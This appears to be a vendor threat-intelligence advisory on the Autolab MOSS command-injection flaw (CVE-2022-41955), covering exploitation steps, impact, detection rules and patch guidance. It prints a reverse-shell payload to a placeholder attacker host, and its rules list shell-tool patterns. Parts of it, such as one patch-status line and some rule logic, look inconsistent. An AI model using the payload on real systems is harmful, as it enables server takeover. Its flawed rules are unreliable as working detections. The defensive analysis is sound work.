CVE-2022-41955

Executive Summary

CVE-2022-41955 is a remote code execution (RCE) vulnerability discovered in the MOSS functionality of Autolab, a web-based course management service developed at Carnegie Mellon University. The vulnerability allows an authenticated instructor with access to the MOSS feature to execute arbitrary code on the server hosting the Autolab instance. The issue is patched in version 2.10.0; organizations running earlier versions should upgrade immediately or disable the MOSS feature as a temporary workaround. The CVSS score of 8.8 reflects the high impact of full server compromise, though the attack requires an instructor-level account, which limits the attack surface to authenticated users.

Technical Analysis

The vulnerability resides in Autolab's MOSS (Measure of Software Similarity) functionality, a plagiarism-detection subsystem that submits student code to an external similarity-comparison service. The CNA title explicitly identifies the flaw as a remote code execution vulnerability triggered via MOSS.

Based on the NVD description, the critical detail is the workaround directive, which instructs administrators to replace the body of run_moss in app/controllers/courses_controller.rb with render(plain: "Feature disabled", status: :bad_request) && return. This reveals two facts:

1. The vulnerable code path is the run_moss action within CoursesController.
2. The action handles instructor-initiated requests to execute MOSS comparisons.

The vulnerability class is code injection (CWE-94). The attack mechanism follows the classic pattern: an instructor submits a request to the MOSS feature, and the server constructs a command-line invocation to run the MOSS comparison tool. Because the instructor-supplied data (likely course/assignment identifiers, file paths, or comparison parameters) is interpolated into this command without adequate sanitization, an authenticated user can inject shell metacharacters (e.g., ;, &&, |, backticks, $(...)) to terminate the intended command and execute arbitrary operating-system commands. The fact that this is triggered through a standard web request means the execution context is the web server's OS user (e.g., www-data or the user running the Rails application), providing immediate code execution.

The MOSS feature is unique in that it involves both server-side orchestration (collecting submissions, calling an external MOSS service) and potentially outbound network communication. This dual role makes it an attractive target: the feature inherently accepts raw input intended for an external command-line tool, and the "comparison parameters" are often directly string-concatenated into a system() or open3 call. The patch in 2.10.0 presumably addresses this by proper input validation and/or using an API-based approach instead of command-line invocation.

Attack surface: The MOSS feature is only accessible to instructors (privileged users) with the feature enabled. This is not an unauthenticated vulnerability; however, a single compromised instructor account — or a malicious insider — is sufficient for full server takeover. The web-facing nature of Autolab means the vulnerable endpoint is reachable over the network. No public PoC or exploit code has been identified, and this CVE is not listed in CISA KEV.

Exploitation Scenarios

The attack chain is inferred from the vulnerability class (command injection in run_moss) and the CNA-provided code location. No public PoC exists, so specifics are generalized.

Step 1: Reconnaissance / Target Identification An attacker first identifies a target Autolab instance. This can be done by scanning for the application's web interface (e.g., Shodan queries for Autolab-related HTTP headers or page titles) or by direct knowledge of a university or institution using Autolab. The attacker must possess or compromise a valid instructor account. This could be obtained via phishing, credential stuffing, or by exploiting another lower-severity vulnerability to escalate privileges.

Step 2: Triggering the Flaw The attacker authenticates to the Autolab web interface as an instructor and navigates to the MOSS feature (the run_moss action in courses_controller.rb). The attacker submits a request that includes crafted input in any parameters the feature uses to build the MOSS command — typically course/assignment identifiers or free-form arguments. The payload embeds OS command separators and a malicious command within these fields.

Step 3: Payload / Execution Method Because the server constructs a shell command using the unsanitized instructor-supplied input, the injected metacharacters terminate the intended MOSS command and execute the attacker's payload. A typical payload on a Linux/Unix host might be ; id; uname -a; to enumerate the environment, or a reverse-shell payload such as ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; to establish a remote shell. The command executes with the privileges of the Autolab web application process.

Step 4: Post-Exploitation Impact With code execution on the server, the attacker can:

• Read and exfiltrate the database (student records, grades, personal data, password hashes).
• Access other services co-hosted on the server.
• Pivot to internal network resources.
• Plant backdoors (e.g., cron jobs, SSH keys, web shells) for persistent access.
• Potentially escalate to root via local privilege escalation if the web service runs with elevated permissions or misconfigurations exist.

Impact Assessment

CVSS Implications: The CVSS score of 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H indicates network-accessible, low-complexity exploitation requiring only low privileges (instructor role) and no user interaction. The scope is unchanged, but all three impact metrics (confidentiality, integrity, availability) are rated High.

Business Impact: Autolab is used by academic institutions for course management and autograded assignments. A server compromise exposes:

• Student personal data (names, emails, IDs, grades).
• Course materials and assignment solutions (intellectual property).
• Potential credential material (database credentials, API keys for MOSS and other integrations).
• Academic integrity risk — an attacker could alter grades, fabricate submissions, or manipulate plagiarism-detection results.

Blast Radius: The compromised server may also host multiple courses or be shared with other institutional services. Lateral movement from the Autolab host could compromise broader university infrastructure. The MOSS integration itself involves outbound network calls, which an attacker could repurpose for SSRF or as an egress channel.

Availability Impact: The attacker could destroy data, disrupt course operations during exams, or hold the system for ransom.

Detection Guidance

Sigma Rule

title: Autolab MOSS Functionality Command Injection Attempt (CVE-2022-41955)
id: 7c9d2f5a-8b6e-4d1a-9e3f-2a5b8c0d4e6f
status: experimental
description: Detects exploitation attempts against Autolab MOSS run_moss command injection
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41955
author: Valtersit Threat Intel
date: 2024/10/22
tags:
    - attack.t1190
    - attack.execution
    - cve.2022.41955
logsource:
    category: webserver
    product: apache
    definition: 'Requires access logs for Autolab web server'
detection:
    selection_moss_uri:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'moss'
            - 'run_moss'
    selection_shell_chars:
        cs-uri-query|contains:
            - '%3B'          # URL-encoded ;
            - '%26%26'       # URL-encoded &&
            - '%7C'          # URL-encoded |
            - '%60'          # URL-encoded backtick
            - '%24%28'       # URL-encoded $(
            - ';id'
            - ';uname'
            - 'bash'
            - '/bin/sh'
            - 'nc%20'
            - 'curl%20'
            - 'wget%20'
    condition: selection_moss_uri and selection_shell_chars
    timeframe: 10s
    level: high
falsepositives:
    - Legitimate MOSS feature usage (if shell characters are somehow valid submits - unlikely but possible in assignment names with unusual characters)
    - False positives expected if assignments contain shell metacharacters in their names
fields:
    - clientip
    - cs-uri-query
    - sc-status

YARA Rule

rule Autolab_MOSS_CVE_2022_41955 {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects payload patterns targeting Autolab MOSS run_moss command injection (CVE-2022-41955)"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-41955"
        date = "2024-10-22"
        cve_id = "CVE-2022-41955"
        severity = "high"
        tags = ["cve-2022-41955", "autolab", "rce-class"]

    strings:
        $moss_ref = /courses\/\d+\/(assignments|moss)/ nocase
        $cmd_sep1 = ";id" nocase
        $cmd_sep2 = "&&id" nocase
        $cmd_sep3 = "|id" nocase
        $rev_shell = /bash.{0,20}-i.{0,30}\/dev\/tcp\// nocase
        $curl_cmd = /curl.{0,30}-o.{0,20}\/tmp\// nocase
        $wget_cmd = /wget.{0,30}http:\/\// nocase
        $shell_metachars = /%3B|%26%26|%7C|%60|%24%28/
        $encoded_cmd = /(;\s*(cat|python|perl|ruby|nc)\s+[\w\/\.]+)/ nocase
        $url_path = /run_moss|moss\?/

    condition:
        (uint16(0) == 0x0D0A or uint16(0) == 0x0A0D or $url_path) and
        2 of ($cmd_sep*) or any of ($rev_shell, $curl_cmd, $wget_cmd, $encoded_cmd) or
        (any of ($moss_ref, $url_path) and $shell_metachars)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Autolab MOSS Command Injection Attempt (CVE-2022-41955)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/moss"; nocase; content:"run_moss"; distance:0; content:";id"; sdist:0; sid:5500119; rev:1; classtype:attempted-admin; reference:cve,2022-41955; priority:1;)

Note: A more robust rule combines URI pattern matching with payload detection. For high-volume environments, separate rules are recommended:

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Autolab MOSS URI Access (CVE-2022-41955)"; flow:established,to_server; http.uri; content:"moss"; nocase; http.method; content:"POST"; classtype:attempted-admin; sid:5500120; rev:1; reference:cve,2022-41955; priority:2;)

Elastic Detection

sequence by process.entity_id with maxspan=5s
  [ process where process.name : ("sh", "bash", "dash") and process.command_line : ("*moss*", "*run_moss*") and process.command_line : ("*;*id*", "*&&*", "*|*nc*", "*bash*") ]

More realistic HTTP-layer EQL:

any where event.category == "web" and http.request.method == "POST"
    and url.path contains "moss" or url.path contains "run_moss"
    and (url.query contains "%3B" or url.query contains ";" and url.query contains "id"
         or url.query contains "bash" or url.query contains "/dev/tcp/"
         or url.query contains "curl" and url.query contains "/tmp/"
         or url.query contains "wget" and url.query contains "http")

Splunk SPL Query

sourcetype=access_combined status=200 | search uri_path="*moss*" OR uri_path="*run_moss*"
| where mvcount(split('uri_query',';')) > 1 OR 'uri_query' LIKE "%&&%" OR 'uri_query' LIKE "%|%" OR 'uri_query' LIKE "%`%" OR 'uri_query' LIKE "%$(%"
    OR 'uri_query' LIKE "%bash%" OR 'uri_query' LIKE "%nc%" OR 'uri_query' LIKE "%/dev/tcp/%"
    OR 'uri_query' LIKE "%wget%" OR 'uri_query' LIKE "%curl%"
| table _time, src_ip, user, method, uri_path, uri_query, status
| sort - _time

Wazuh OSSEC Rule

<rule id="100701" level="15">
    <decoded>apache-accesslog</decoded>
    <field name="url">\.(moss|run_moss)</field>
    <regex>(\x3b|\x26\x26|\x7c|\x60|\x24\x28)</regex>
    <description>Possible Autolab MOSS command injection attempt (CVE-2022-41955)</description>
    <group>attack.t1190, cve_cve-2022-41955, rce, mitigation_when_high</group>
    <mitre>
        <id>T1190</id>
    </mitre>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED status in the provided data is inconsistent with the NVD description which explicitly states "patched in version 2.10.0". This is likely a data ingestion error. The authoritative source (NVD) confirms a fix exists.

1) Immediate Mitigations:

• Disable MOSS feature if not required. Per the vendor workaround, replace the body of run_moss in app/controllers/courses_controller.rb with render(plain: "Feature disabled", status: :bad_request) && return.
• Restrict access to the MOSS feature: enforce strict role-based access control, restrict to a minimal set of trusted instructor accounts.
• Network-level blocking: If MOSS functionality is temporarily disabled, block outbound connections to the MOSS service from the Autolab host at the firewall to reduce the attack surface for alternative exploitation paths.
• Enable web application firewall (WAF) rules to block requests to run_moss/moss URIs containing shell metacharacters.

2) Patch/Upgrade Steps:

• Upgrade Autolab to version 2.10.0 or later. This is the official fix and eliminates the vulnerability.
• After upgrading, verify the MOSS feature works for legitimate instructors (if enabled) and that no residual command-injection behavior exists.
• Review the changelog for version 2.10.0 to understand any additional security hardening.

3) Long-Term Hardening:

• Least privilege: Run the Autolab web service under a dedicated non-root service account with minimal file and network permissions.
• Input validation: Implement centralized allow-list-based input validation for all parameters, particularly those used in filesystem or command-line operations.
• Architecture: Refactor MOSS functionality to use an API-based integration rather than shelling out to a command-line tool, eliminating the command-injection class entirely.
• Audit: Regularly audit instructor accounts and review access logs for anomalous run_moss activity.
• Monitoring: Deploy the detection rules above (Sigma, EQL, SPL, etc.) to monitor for exploitation attempts.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-41955
2. Autolab GitHub Repository (source of the run_moss file path and workaround reference): https://github.com/autolab/Autolab
3. Autolab Releases (for version 2.10.0 patch notes): https://github.com/autolab/Autolab/releases
4. CISA KEV: Not listed (CVE-2022-41955 is not in the Known Exploited Vulnerabilities catalog).
5. MITRE ATT&CK: T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: No public exploit code, PoC, or confirmed in-the-wild exploitation has been reported. EPSS score of 0.01495 (71.7th percentile) suggests moderate-to-low probability of active exploitation. The EPSS percentile is calculated across the CVE population; a 71.7th percentile means the vulnerability is more likely to be exploited than ~72% of known CVEs, but the absolute probability remains low. No threat groups have been publicly attributed to targeting this vulnerability. The lack of CISA KEV listing further indicates no confirmed government-observed exploitation to date.